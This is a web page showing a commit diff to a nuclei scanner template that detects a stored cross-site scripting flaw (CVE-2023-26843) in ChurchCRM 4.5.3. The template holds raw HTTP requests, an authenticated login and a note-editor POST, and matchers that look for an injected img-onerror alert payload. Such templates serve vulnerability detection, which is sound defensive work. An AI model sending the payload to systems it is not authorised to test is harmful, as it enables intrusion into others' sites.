daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

updated info,path

patch-1
Ritik Chaddha 2023-06-26 10:45:22 +05:30 committed by GitHub
parent 2fd0eb8145
commit 7baa30d4ff
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 6 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
http/cves/2023/CVE-2023-26843.yaml
View File

@ -1,7 +1,7 @@
id: CVE-2023-26843 id: CVE-2023-26843
info: info:
name: ChurchCRM - Stored Cross Site Scripting name: ChurchCRM 4.5.3 - Cross-Site Scripting
author: Harsh author: Harsh
severity: medium severity: medium
description: | description: |
@ -16,18 +16,19 @@ info:
cwe-id: CWE-79 cwe-id: CWE-79
metadata: metadata:
verified: true verified: true
tags: cve,cve2023,churchCRM,stored,xss,authenticated tags: cve,cve2023,churchcrm,stored,xss,authenticated
http: http:
- raw: - raw:
- | - |
POST /churchcrm/session/begin HTTP/1.1 POST /session/begin HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
User={{username}}&Password={{password}} User={{username}}&Password={{password}}
- | - |
POST /churchcrm/NoteEditor.php?FamilyID=1 HTTP/1.1 POST /NoteEditor.php?FamilyID=1 HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
@ -39,6 +40,7 @@ http:
- type: dsl - type: dsl
dsl: dsl:
- 'status_code_2 == 200' - 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "><img src=x onerror=alert(document.domain)>")' - 'contains(body_2, "><img src=x onerror=alert(document.domain)>")'
- 'contains(body_2, "ChurchCRM")' - 'contains(body_2, "ChurchCRM")'
condition: and condition: and